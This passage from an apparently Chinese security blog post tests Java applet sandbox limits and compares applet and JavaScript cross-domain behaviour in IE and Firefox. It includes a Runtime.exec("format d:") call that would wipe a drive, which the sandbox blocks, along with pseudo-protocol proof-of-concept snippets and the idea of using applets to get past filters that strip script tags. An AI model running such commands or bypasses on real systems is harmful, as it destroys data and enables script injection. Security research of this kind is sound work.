class=\"alt\"><span><span>java.security.AccessControlException:&nbsp;access&nbsp;denied&nbsp;(java.io.FilePermission&nbsp;c:\\a.txt&nbsp;read)&nbsp;&nbsp;<\/span><\/span><\/li>\n<\/ol>\n<\/div>\n<p>\u3000\u3000\u4e0d\u80fd\u8bfb\u6587\u4ef6\uff0c\u8fde\u6700\u57fa\u672c\u7684&ldquo;\u5224\u65ad\u6587\u4ef6\u662f\u5426\u5b58\u5728&rdquo;\u90fd\u8fc7\u4e0d\u53bb\u3002<br \/>\n\u8bfb\u90fd\u4e0d\u884c\uff0c\u66f4\u522b\u8bf4\u6267\u884c\u4e86\uff1f<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">Java\u4ee3\u7801<\/div>\n<ol class=\"dp-j\">\n<li class=\"alt\"><span><span>Runtime&nbsp;runtime&nbsp;=&nbsp;Runtime.getRuntime();&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>Process&nbsp;process&nbsp;=&nbsp;runtime.exec(<span class=\"string\">&quot;format&nbsp;d:&quot;<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<\/ol>\n<\/div>\n<p>\u3000\u3000\u63a7\u5236\u53f0\u6253\u5370\u51fa\uff1a<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">Java\u4ee3\u7801<\/div>\n<ol class=\"dp-j\">\n<li class=\"alt\"><span><span>java.security.AccessControlException:&nbsp;access&nbsp;denied&nbsp;(java.io.FilePermission&nbsp;C:\\windows\\system32\\Client.exe&nbsp;execute)&nbsp;&nbsp;<\/span><\/span><\/li>\n<\/ol>\n<\/div>\n<p>\u3000\u3000\u4e0d\u80fd\u6267\u884c\uff0c\u6587\u4ef6\u76f8\u5173\u64cd\u4f5c\u90fd\u63a7\u5236\u7684\u6b7b\u6b7b\u7684\u3002\u597d\u5427\uff0c\u6211\u4e0d\u5962\u6c42\u76f4\u63a5\u7528java\u63a7\u5236\u6587\u4ef6\u4e86\u3002\u8bb0\u5f97\u5728\u73a9\u6ce8\u5165\u65f6\uff0c\u53ef\u4ee5\u8c03\u7528ACCESS\u7b49\u6570\u636e\u5e93\u7684\u5f15\u64ce\u53bb\u5199\u6587\u4ef6\u3002\u5982\u679c\u53ef\u4ee5\u5728applet\u4e2d\u8bbf\u95ee\u6570\u636e\u5e93\uff0c\u90a3\u6709\u610f\u601d\u4e86\uff0c\u4e00\u6837\u53ef\u4ee5\u505a\u4e9b\u4ec0\u4e48\u3002\u95f4\u63a5\u8bbf\u95ee\u6587\u4ef6\uff0c\u53ea\u8981\u6ca1\u6709\u63a7\u5236applet\u8bbf\u95eeJDBC\u9a71\u52a8\u7684\u6743\u9650\uff0c\u5c31\u80fd\u6267\u884csql\u3002<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">Java\u4ee3\u7801<\/div>\n<ol class=\"dp-j\">\n<li class=\"alt\"><span><span>Class.forName(sun.jdbc.odbc.JdbcOdbcDriver);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>conn=DriverManager.getConnection(<span class=\"string\">&quot;jdbc:odbc:driver={Microsoft&nbsp;Access&nbsp;Driver&nbsp;(*.mdb)};DBQ=C:\/WINDOWS\/system32\/ias\/dnary.mdb&quot;<\/span><span>,&nbsp;strUserName,&nbsp;strPassword);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>stmt=conn.createStatement();&nbsp;&nbsp;<\/span><\/li>\n<\/ol>\n<\/div>\n<p>\u3000\u3000\u518d\u770b\u770b\u7ed3\u679c\uff1a<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">SHELL\u4ee3\u7801<\/div>\n<ol class=\"dp-xml\">\n<li class=\"alt\"><span><span>java.security.AccessControlException:&nbsp;access&nbsp;denied <br \/>\n    <\/span><\/span><\/li>\n<li class=\"alt\"><span><span>(java.lang.RuntimePermission&nbsp;accessClassInPackage.sun.jdbc.odbc)&nbsp;&nbsp;<\/span><\/span><\/li>\n<\/ol>\n<\/div>\n<p>\u3000\u3000\u53c8\u662f\u5931\u8d25\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0capplet\u63a7\u5236\u4e86\u8bbf\u95ee\u5176\u4ed6packet\u4e2d\u7684\u5185\u5bb9\uff0c\u53ea\u51c6\u8bbf\u95ee\u81ea\u5df1\u5185\u5b9a\u7684\u5305\uff0c\u5916\u90e8\u9a71\u52a8\u4e0d\u80fd\u7528\u3002\u6211\u6240\u77e5\u9053\u7684\u65b9\u6cd5\u57fa\u672c\u4e0a\u90fd\u6d4b\u8bd5\u4e86\uff0c\u6216\u8bb8\u8fd8\u6709\uff0c\u4f46\u662f\u8fd9\u4e2a\u5c42\u9762\u4e0a\uff0c\u6700\u5177\u4ee3\u8868\u6027\u7684\u90fd\u8bd5\u4e86\uff0c\u5176\u4ed6\u7684\uff08\u8de8\u57df\u53d1\u9001socket\u5305\u7b49\u7b49\uff09\u5c31\u4e0d\u62ff\u51fa\u6765\u4e00\u4e00\u8bf4\u660e\u4e86\u3002<\/p>\n<p>\u3000\u3000<strong>\u7b2c\u4e09\u90e8\u5206 \u5bf9\u6d4f\u89c8\u5668\u7684\u64cd\u4f5c<\/strong><\/p>\n<p>\u3000\u3000\u51e0\u5929\u524d\u770b\u5230\u4e00\u7bc7\u6587\u7ae0\uff0c\u63d0\u5230&ldquo;\u9b3c\u57df&rdquo;\uff0c\u4e5f\u5c31\u662f&ldquo;\u9b3c\u9875&rdquo;\u3002\u6587\u4e2d\u63d0\u5230\u53ef\u4ee5\u63a7\u5236\u5b50\u7a97\u53e3\u5185\u90e8FRAME\uff0cIE6\u53ef\u4ee5\u63a7\u5236\u5b50\u7a97\u53e3\u6267\u884cJS\uff0c\u4f46\u662fIE7\uff0cFF\u4e0d\u80fd\u505a\u3002\u90a3\u4e48\u7528applet\u6765\u6267\u884c\u7684\u7ed3\u679c\uff0c\u548c\u8fd9\u7bc7\u6587\u7ae0\u7684\u5185\u5bb9\u5bf9\u6bd4\uff0c\u53ef\u4ee5\u591a\u505a\u4e9b\u4ec0\u4e48\uff0c\u800c\u53c8\u4e0d\u80fd\u5b9e\u73b0\u4ec0\u4e48\u5462?<\/p>\n<p>\u3000\u3000netscape.javascript.JSObject\u7c7b\u53ef\u4ee5\u5728applet\u4e2d\u8c03\u7528JS\uff0c\u8be5\u7c7b\u662f\u4e2a\u62bd\u8c61\u7c7b\u3002\u8fd9\u4e2a\u7c7b\u6784\u9020\u65b9\u6cd5\u662fprotected\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u4e0d\u80fd\u76f4\u63a5new\u51fa\u6765\uff0c\u53ea\u80fd\u7531\u5b50\u7c7bnew\uff0c\u8c03\u7528\u5176\u4e2d\u7684\u9759\u6001\u65b9\u6cd5&ldquo;getWindow(Applet applet)&rdquo;\u8fd4\u56de\u5b83\u7684\u4e00\u4e2a\u5b9e\u4f8b\u3002\u901a\u5e38\u6211\u4eec\u4f7f\u7528\u7684\u65f6\u5019\uff0c\u8fd9\u6837\u7684\u8bbe\u8ba1\uff0c\u5c31\u9650\u5236\u4e86\u5fc5\u987b\u8981\u6709\u4e2aapplet\u6267\u884c\u65f6\u624d\u53ef\u4ee5\u5b9e\u4f8b\u5316\u8fd9\u4e2a\u7c7b\uff0c\u4e5f\u5c31\u662f\u5f53\u6d4f\u89c8\u5668\u52a0\u8f7d applet\u65f6\u624d\u53ef\u4ee5\u5b9e\u4f8b\u5316JSObject\u3002\u5176\u4e2d\u7684eval\u65b9\u6cd5\u987e\u540d\u601d\u4e49\u662f\u6267\u884cjs\u4ee3\u7801\u7684\uff0capplet\u90fd\u80fd\u505a\uff0c\u53ea\u662f\u5728\u9875\u9762\u4e0a\u770b\u4e0d\u5230JS\u4ee3\u7801\u800c\u5df2\uff0c\u5f53\u7136\uff0c\u5728js\u4e2d\u4e5f\u53ef\u4ee5\u8c03\u7528applet\u7684\u65b9\u6cd5\u3002\u8fd9\u5c31\u6709\u4e2a\u5b89\u5168\u9690\u60a3\u4e86\uff0c\u5982\u679c\u7a0b\u5e8f\u4ec5\u4ec5\u9650\u5236\u4e86&lt;script&gt;\u6807\u7b7e\uff0c\u90a3\u4e48\u4f7f\u7528applet\uff0c\u4e00\u6837\u53ef\u4ee5\u8fbe\u5230\u7ed5\u8fc7\u9650\u5236\u8c03\u7528JS\u3002\u5f53\u7136\u5982\u679c\u76f4\u63a5\u9650\u5236\u4e86&ldquo;&lt;&rdquo;\uff0c\u90a3\u4e5f\u6ca1\u8f99\u3002<\/p>\n<p>\u3000\u3000\u4e0b\u9762\u662f\u4e00\u822c\u8c03\u7528applet\u7684html\u4ee3\u7801\uff1a<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">XML\/HTML\u4ee3\u7801<\/div>\n<ol class=\"dp-xml\">\n<li class=\"alt\"><span><span class=\"tag\">&lt;<\/span><span class=\"tag-name\">applet<\/span><span>&nbsp;<\/span><span class=\"attribute\">code<\/span><span>=<\/span><span class=\"attribute-value\">&quot;AppletTest.class&quot;<\/span><span>&nbsp;<\/span><span class=\"attribute\">width<\/span><span>=<\/span><span class=\"attribute-value\">&quot;300&quot;<\/span><span>&nbsp;<\/span><span class=\"attribute\">height<\/span><span>=<\/span><span class=\"attribute-value\">&quot;200&quot;<\/span><span class=\"tag\">&gt;<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;\u4e0d\u652f\u6301java\u865a\u62df\u673a&nbsp;&nbsp;<\/span><\/li>\n<li class=\"alt\"><span><span class=\"tag\">&lt;\/<\/span><span class=\"tag-name\">applet<\/span><span class=\"tag\">&gt;<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<\/ol>\n<\/div>\n<p>&nbsp;<\/p>\n<p>\u3000\u3000\u53ea\u8981\u8d34\u5728HTML\u9875\u9762\uff0c\u5c31\u80fd\u6267\u884capplet\uff0cCLASS\u6587\u4ef6\u662fapplet\u5c0f\u7a0b\u5e8f\u7684\u4ee3\u7801\uff0c\u5982\u679c\u7528\u6237\u6d4f\u89c8\u5668\u4e0d\u652f\u6301JVM\u865a\u62df\u673a\uff0c\u4f1a\u6253\u51fa\u4e2d\u95f4\u7684\u4fe1\u606f\u3002<\/p>\n<p>\u3000\u3000\u4e3a\u4e86\u63a2\u7a76applet\u7684\u5b89\u5168\u6027\uff0c\u672c\u6587\u62ff\u90a3\u7bc7&ldquo;\u6d45\u6790\u6d4f\u89c8\u5668\u7684\u8de8\u57df\u5b89\u5168\u95ee\u9898&rdquo;\u4e00\u6587\u7684\u5185\u5bb9\uff08\u6ca1\u770b\u8fc7\u7684\u81ea\u5df1\u53bb\u767e\u5ea6\uff0c\u5982\u679c\u4e0d\u770b\u8be5\u6587\uff0c\u4e0b\u9762\u7684\u5185\u5bb9\u4f1a\u5f88\u751f\u6da9\uff09\uff0c\u6765\u505a\u4e2a\u95ee\u9898\u7684\u6a21\u677f\uff0c\u7528applet\u6765\u5b9e\u73b0\u6587\u4e2d\u63d0\u5230\u7684\u4e00\u4e9b\u6280\u672f\uff0c\u5e76\u5bf9\u6bd4\u4e00\u4e0b\u548cJS\u7684\u5b89\u5168\u6027\u5dee\u5f02\u3002<\/p>\n<p>\u3000\u3000<strong>\u9996\u5148\u662f&ldquo;\u4f2a\u534f\u8bae&rdquo;\u95ee\u9898<\/strong><br \/>\n\u5f15\u7528\u6587\u7ae0\u5185\u5bb9\uff1a<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">JavaScript\u4ee3\u7801<\/div>\n<ol class=\"dp-c\">\n<li class=\"alt\"><span><span>&lt;script&gt;&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>x=window.open(<span class=\"string\">&quot;about:blank&quot;<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>x.location=<span class=\"string\">&quot;javascript:alert(document.domain)&quot;<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&lt;\/script&gt;&nbsp;&nbsp;<\/span><\/li>\n<li class=\"alt\"><span>\u7ed3\u679c\u662f\uff1a&nbsp;&nbsp;<\/span><\/li>\n<li class=\"\"><span>IE6\uff1a\u6267\u884c\u4e86\u4f2a\u534f\u8bae\uff0c\u8ba4\u4e3a\u5f39\u51fa\u7a97\u53e3\u7684\u57df\u662f127.0.0.1\u3002&nbsp;&nbsp;<\/span><\/li>\n<li class=\"alt\"><span>IE7\uff1a\u6267\u884c\u4e86\u4f2a\u534f\u8bae\uff0c\u8ba4\u4e3a\u5f39\u51fa\u7a97\u53e3\u7684\u57df\u662f127.0.0.1\u3002&nbsp;&nbsp;<\/span><\/li>\n<li class=\"\"><span>Firefox\uff1a\u6267\u884c\u4e86\u4f2a\u534f\u8bae,\u8ba4\u4e3a\u8fd8\u6ca1\u6709\u57df\u4e3aNULL\u3002&nbsp;&nbsp;<\/span><\/li>\n<\/ol>\n<\/div>\n<p>\u3000\u3000\u8fd9\u6bb5\u4ee3\u7801\u53d6\u5f97\u5b50\u7a97\u4f53\u7684\u57df\uff0c\u5982\u679c\u4e24\u4e2aHTML\u6587\u4ef6\u5728\u540c\u4e00\u4e2a\u57df\uff0c\u5c31\u53ef\u4ee5\u505a\u5f88\u591a\u4e8b\u60c5\uff0c\u6bd4\u5982\u7528&ldquo;AJAX&rdquo;\u6280\u672f\u628a\u8be5\u9875\u9762\u7684\u654f\u611f\u4fe1\u606f\u63d0\u4ea4\u5230\u53e6\u4e00\u4e2a\u9875\u9762\uff0c\u5e76\u4e14\u53ea\u6709\u540c\u57df\u4e0b\u7684iframe\u624d\u53ef\u4ee5\u63a7\u5236\u7236\u9875\u9762\u3002\u5982\u4e0b\u9762\u8fd9\u6bb5JS\uff0c\u53ea\u80fd\u5728\u540c\u57df\u4e0b\u7684iframe\u4e2d\u6267\u884c\u3002<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">JavaScript\u4ee3\u7801<\/div>\n<ol class=\"dp-c\">\n<li class=\"alt\"><span><span>parent.location.reload(<\/span><span class=\"keyword\">true<\/span><span>);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"comment\">\/\/\u8ba9\u7236\u7a97\u53e3\u91cd\u65b0\u8f7d\u5165<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<\/ol>\n<\/div>\n<p>\u3000\u3000\u4e3a\u4e86\u505a\u5bf9\u6bd4\uff0c\u4f7f\u7528Applet\u6765\u5b9e\u73b0\u4f2a\u534f\u8bae\u7684\u6548\u679c\uff1a<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">Java\u4ee3\u7801<\/div>\n<ol class=\"dp-j\">\n<li class=\"alt\"><span><span class=\"keyword\">this<\/span><span>.getAppletContext().showDocument(<\/span><span class=\"keyword\">new<\/span><span>&nbsp;URL(<\/span><span class=\"string\">&quot;http:\/\/192.168.0.3\/&quot;<\/span><span>),<\/span><span class=\"string\">&quot;kxlzx&quot;<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span><span class=\"keyword\">this<\/span><span>.getAppletContext().showDocument(<\/span><span class=\"keyword\">new<\/span><span>&nbsp;URL(<\/span><span class=\"string\">&quot;javascript:alert(document.domain)&quot;<\/span><span>),<\/span><span class=\"string\">&quot;kxlzx&quot;<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<\/ol>\n<\/div>\n<p>\u3000\u3000\u8fd9\u6bb5\u4ee3\u7801\u7b2c\u4e00\u884c\u4f1a\u5f39\u51fa\u65b0\u7684\u7a97\u53e3\uff0c\u7a97\u53e3\u540d\u79f0\u4e3a&ldquo;kxlzx&rdquo;\uff08\u5728\u7a0b\u5e8f\u4e2d\u53ef\u4ee5\u4f7f\u7528&ldquo;kxlzx&rdquo;\u8bbf\u95ee\u5f39\u51fa\u7684\u7a97\u53e3\uff09\uff0c\u7b2c\u4e8c\u884c\u4f1a\u5728&ldquo;kxlzx&rdquo;\u8fd9\u4e2a\u7a97\u53e3\u4e2d\u7ee7\u7eed\u663e\u793a&quot;javascript:alert(document.domain)&quot;\u3002\u8bbf\u95ee\u9875\u9762 <a href=\"http:\/\/192.168.0.3\/test.htm\">http:\/\/192.168.0.3\/test.htm<\/a>\uff0cIE7\u548cFF\u90fd\u5f39\u51fa\u4e86&ldquo;192.168.0.3&rdquo;\u3002\u8bf7\u6ce8\u610f\uff0c\u8fd9\u79cd\u60c5\u51b5\u53d1\u751f\u5728&ldquo;\u5f53\u524d\u9875\u9762\u548c\u5f39\u51fa\u9875\u9762\u90fd\u5728\u540c\u4e00\u4e2a\u57df&rdquo;\u4e0b\u3002<\/p>\n<p>\u3000\u3000<strong>\u7236\u9875\u548c\u5b50\u9875\u7684\u5173\u7cfb<\/strong><\/p>\n<p>\u3000\u3000\u5f15\u7528&ldquo;\u6d45\u6790\u6d4f\u89c8\u5668\u7684\u8de8\u57df\u5b89\u5168\u95ee\u9898&rdquo;\u4e00\u6587\u7684\u4ee3\u7801\uff1a<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">JavaScript\u4ee3\u7801<\/div>\n<ol class=\"dp-c\">\n<li class=\"alt\"><span><span>&lt;script&gt;&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>x=window.open(<span class=\"string\">&quot;about:blank&quot;<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>x.location=<span class=\"string\">&quot;http:\/\/www.163.com&quot;<\/span><span>&nbsp;\/\/\u8bbf\u95ee163\u7f51\u7ad9&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>setTimeout(<span class=\"keyword\">function<\/span><span>(){&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>x.location=<span class=\"string\">&quot;http:\/\/127.0.0.1&quot;<\/span><span>;&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>},5000)&nbsp;<span class=\"comment\">\/\/5\u79d2\u540e\u91cd\u5b9a\u5411\u5230127.0.0.1<\/span><span>&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&lt;\/script&gt;&nbsp;&nbsp;<\/span><\/li>\n<\/ol>\n<\/div>\n<p>\u518d\u6b21\u4f7f\u7528applet\u5b9e\u73b0\u4ee5\u4e0a\u6548\u679c\uff1a<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">Java\u4ee3\u7801<\/div>\n<ol class=\"dp-j\">\n<li class=\"alt\"><span><span class=\"keyword\">public<\/span><span>&nbsp;<\/span><span class=\"keyword\">class<\/span><span>&nbsp;writeFile&nbsp;<\/span><span class=\"keyword\">extends<\/span><span>&nbsp;Applet&nbsp;<\/span><span class=\"keyword\">implements<\/span><span>&nbsp;Runnable{&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">private<\/span><span>&nbsp;Thread&nbsp;thread&nbsp;=&nbsp;<\/span><span class=\"keyword\">null<\/span><span>;&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">private<\/span><span>&nbsp;String&nbsp;url;&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">public<\/span><span>&nbsp;<\/span><span class=\"keyword\">void<\/span><span>&nbsp;run()&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;<\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">try<\/span><span>&nbsp;{&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">this<\/span><span>.getAppletContext().showDocument(<\/span><span class=\"keyword\">new<\/span><span>&nbsp;URL(url),<\/span><span class=\"string\">&quot;kxlzx&quot;<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span class=\"keyword\">catch<\/span><span>&nbsp;(MalformedURLException&nbsp;e)&nbsp;{&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;<\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;<\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">public<\/span><span>&nbsp;<\/span><span class=\"keyword\">void<\/span><span>&nbsp;start()&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;<\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"keyword\">try<\/span><span>&nbsp;{&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url&nbsp;=&nbsp;<span class=\"string\">&quot;http:\/\/www.sohu.com&quot;<\/span><span>;&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thread&nbsp;=&nbsp;<span class=\"keyword\">new<\/span><span>&nbsp;Thread(<\/span><span class=\"keyword\">this<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thread.run();&nbsp;&nbsp;<\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thread.sleep(<span class=\"number\">5000<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url&nbsp;=&nbsp;<span class=\"string\">&quot;http:\/\/www.sina.com&quot;<\/span><span>;&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thread&nbsp;=&nbsp;<span class=\"keyword\">new<\/span><span>&nbsp;Thread(<\/span><span class=\"keyword\">this<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thread.run();&nbsp;&nbsp;<\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span class=\"keyword\">catch<\/span><span>&nbsp;(Exception&nbsp;e)&nbsp;{&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;<\/span><\/li>\n<li class=\"alt\"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;<\/span><\/li>\n<li class=\"\"><span>}&nbsp;&nbsp;<\/span><\/li>\n<\/ol>\n<\/div>\n<p>IE\u548cFF\u90fd\u6267\u884c\u6210\u529f\uff0c\u5b50\u7a97\u53e3\u5148\u8bbf\u95ee\u4e86sohu\uff0c\u8fc75\u79d2\uff0c\u8bbf\u95ee\u4e86sina\uff0c<span style=\"color: rgb(255, 0, 0);\">\u5b50\u9875\u5c06\u6c38\u8fdc\u53d7\u5236\u4e8e\u7236\u9875<\/span>\u3002<\/p>\n<p>\u3000\u3000<strong>\u57df\u4e0e\u57df\u4e4b\u95f4\u7684\u7275\u7eca<\/strong><\/p>\n<p>\u3000\u3000\u90a3\u4e48\u4e0d\u540c\u57df\u4f1a\u51fa\u73b0\u4ec0\u4e48\u60c5\u51b5\u5462\uff1f<\/p>\n<div class=\"codeText\">\n<div class=\"codeHead\">Java\u4ee3\u7801<\/div>\n<ol class=\"dp-j\">\n<li class=\"alt\"><span><span class=\"keyword\">this<\/span><span>.getAppletContext().showDocument(<\/span><span class=\"keyword\">new<\/span><span>&nbsp;URL(<\/span><span class=\"string\">&quot;http:\/\/192.168.0.2\/&quot;<\/span><span>),<\/span><span class=\"string\">&quot;kxlzx&quot;<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<li class=\"\"><span><span class=\"keyword\">this<\/span><span>.getAppletContext().showDocument(<\/span><span class=\"keyword\">new<\/span><span>&nbsp;URL(<\/span><span class=\"string\">&quot;javascript:alert(document.domain)&quot;<\/span><span>),<\/span><span class=\"string\">&quot;kxlzx&quot;<\/span><span>);&nbsp;&nbsp;<\/span><\/span><\/li>\n<\/ol>\n<\/div>\n<p>\u3000\u3000\u8fd9\u6bb5\u4ee3\u7801\u548c\u524d\u9762\u7b2c\u4e00\u8282\u90e8\u5206\u552f\u4e00\u7684\u5dee\u522b\u662f\uff0c\u6253\u5f00\u4e86http:\/\/192.168.0.3\/test2.htm\uff08\u7236\u7a97\u4f53\uff09\u9875\u9762\u540e\uff0c\u7236\u7a97\u4f53\u7684applet\u63a7\u5236\u5b50\u7a97\u4f53\u8bbf\u95ee\u5230\u4e86\u53e6\u4e00\u4e2a\u57df&ldquo;192.168.0.2&rdquo;\u4e2d\u3002\u6267\u884c\u7ed3\u679c\uff0cIE\u62d2\u7edd\u8bbf\u95ee\uff0cFF\u5374\u5f39\u51fa\u4e86<\/p>\n<p><a href=\"\/wp-content\/uploads\/date_200808\/973a42a04950a6e2c4eec6479480e74a.jpg\" target=\"_blank\"><img decoding=\"async\" src=\"\/wp-content\/uploads\/date_200808\/973a42a04950a6e2c4eec6479480e74a.jpg\" alt=\"3.jpg\"  class=\"alignnone size-full wp-image-122\" \/><\/a><\/p>\n<p>\u3000\u3000\u5947\u602a\uff0c\u5206\u660e\u662f\u8ba9\u5b50\u7a97\u4f53\u53bb\u8bbf\u95ee&quot;javascript:alert(document.domain)&quot;\uff0c\u600e\u4e48\u4f1a\u5f39\u51fa\u7236\u7a97\u4f53\u7684\u57df\u540d\u5462\uff1f\u66f4\u8be1\u5f02\u7684\u662f\uff0c\u5f39\u51fa\u6846\u7684title\u4e0a\u5c45\u7136\u5199\u7740 